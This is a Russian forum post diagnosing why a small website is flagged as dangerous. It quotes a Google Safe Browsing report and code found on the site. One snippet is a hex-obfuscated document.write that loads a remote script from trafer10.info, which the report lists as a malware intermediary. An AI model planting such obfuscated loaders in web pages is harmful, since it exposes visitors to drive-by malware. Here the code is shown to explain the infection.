Dru писал(а):
Яндекс,далее в следующей ссылке яндекса всетаки нашел скрипт
И не только яндекс:
Цитата:
Цитата:
Безопасный просмотр
Страница диагностики для santech.okis.ru
Занесен ли сайт santech.okis.ru в список подозрительных?
Сайт занесен в список подозрительных. Посещение этого сайта может нанести вред вашему компьютеру.
В некоторой части этого сайта за последние 90 дней была замечена подозрительная активность (число таких случаев: 1).
Что произошло во время последнего посещения этого сайта компанией Google?
На 25 из 85 страниц сайта, протестированных нами за последние 90 дней, происходила загрузка и установка вредоносного ПО без согласия пользователя. Последнее посещение этого сайта системой Google произошло 2011-09-25; последний раз подозрительный контент был обнаружен на этом сайте 2011-09-25.
Число доменов, на которых размещается вредоносное ПО: 3 (в том числе baryte.in/, interwhile.in/, amphipleura.in/).
Число доменов, предположительно используемых в качестве промежуточных звеньев для распространения вредоносного ПО: 2 (в том числе trafer10.info/, amphipleura.in/).
Сетей, в которых размещался этот сайт: 1 (в том числе AS42632 (MNOGOBYTE)).
Был ли этот сайт промежуточным звеном в дальнейшем распространении вредоносного ПО?
По всей видимости, за последние 90 дней сайт santech.okis.ru не использовался в качестве промежуточного звена для заражения других сайтов.
Размещалось ли на этом сайте вредоносное ПО?
Нет. За последние 90 дней на этом сайте не размещалось вредоносное ПО.
Как это произошло?
В некоторых случаях третьи лица могут добавлять вредоносный код на сайты, созданные со вполне законными целями. Предупреждение могло быть показано нами именно по этой причине.
Дальнейшие действия:
Вернуться на предыдущую страницу.
Если вы владелец этого веб-сайта, можете запросить анализ вашего сайта с помощью Инструментов Google для веб-мастеров. Дополнительные сведения о процессе анализа см. в Справочном центре Инструментов Google для веб-мастеров.
И не удивительно. Вот это, например, что такое?
Цитата:
<script language="JavaScript">
document.write(unescape("\x3c\x73\x63\x72\x69\x70\x74\x20\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x22\x4a\x61\x76\x61\x53\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x74\x72\x61\x66\x65\x72\x31\x30\x2e\x69\x6e\x66\x6f\x2f\x73\x65\x6c\x6c\x6a\x73\x2f\x3f\x69\x64\x3d\x31\x33\x36\x32\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"))
</script>
А это?
Цитата:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="584" height="127" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">
<param name="src" value="http://lineactbanner.s3.amazonaws.com/v1/banner.swf?autoplay_=true&txt_1=%D0%A1%D0%B0%D0%BB%D0%BE%D0%BD+%D0%92%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5+%D0%9A%D0%BE%D0%BC%D0%BD%D0%B0%D1%82%D1%8B,23,172,0,0,0xFFFFFF,1&txt_2=++++%D0%9D%D0%B0%D1%88%D0%B8+%D0%B8%D0%B4%D0%B5%D0%B8,17,130,33,0,0xFFFFFF,0&txt_3=++%D0%91%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D0%BE,60,110,40,0,0xFFFFFF,0&img_1=http://lineactbanner.s3.amazonaws.com/v1/if/oxygen/128x128/apps/staroffice.png,300,0,0,1&img_2=http://lineactbanner.s3.amazonaws.com/v1/if/oxygen/128x128/apps/staroffice.png,-100,25,0,0&fonimg=http://lineactbanner.s3.amazonaws.com/v1/if/patterns/1277/1277779.png,12&fongradcol=0xffffff,0xf5f5f5&sdw_1=txt_3,0ffffff&ani_1=img_1,x,10,20&ani_2=img_2,alpha,1,100&ani_3=img_2,x,430,100&ani_4=txt_2,alpha,1,120&ani_5=txt_3,alpha,0.5,20&globalclick=http%3A%2F%2Felitceramica.okis.ru&locale=ru&snd_0=" /><embed type="application/x-shockwave-flash" width="584" height="127" src="http://lineactbanner.s3.amazonaws.com/v1/banner.swf?autoplay_=true&txt_1=%D0%A1%D0%B0%D0%BB%D0%BE%D0%BD+%D0%92%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5+%D0%9A%D0%BE%D0%BC%D0%BD%D0%B0%D1%82%D1%8B,23,172,0,0,0xFFFFFF,1&txt_2=++++%D0%9D%D0%B0%D1%88%D0%B8+%D0%B8%D0%B4%D0%B5%D0%B8,17,130,33,0,0xFFFFFF,0&txt_3=++%D0%91%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D0%BE,60,110,40,0,0xFFFFFF,0&img_1=http://lineactbanner.s3.amazonaws.com/v1/if/oxygen/128x128/apps/staroffice.png,300,0,0,1&img_2=http://lineactbanner.s3.amazonaws.com/v1/if/oxygen/128x128/apps/staroffice.png,-100,25,0,0&fonimg=http://lineactbanner.s3.amazonaws.com/v1/if/patterns/1277/1277779.png,12&fongradcol=0xffffff,0xf5f5f5&sdw_1=txt_3,0ffffff&ani_1=img_1,x,10,20&ani_2=img_2,alpha,1,100&ani_3=img_2,x,430,100&ani_4=txt_2,alpha,1,120&ani_5=txt_3,alpha,0.5,20&globalclick=http%3A%2F%2Felitceramica.okis.ru&locale=ru&snd_0="></embed>
</object>
Сами понапихают говноскриптов на сайт, а потом удивляются, почему это у них вирусы какие-то обнаружились!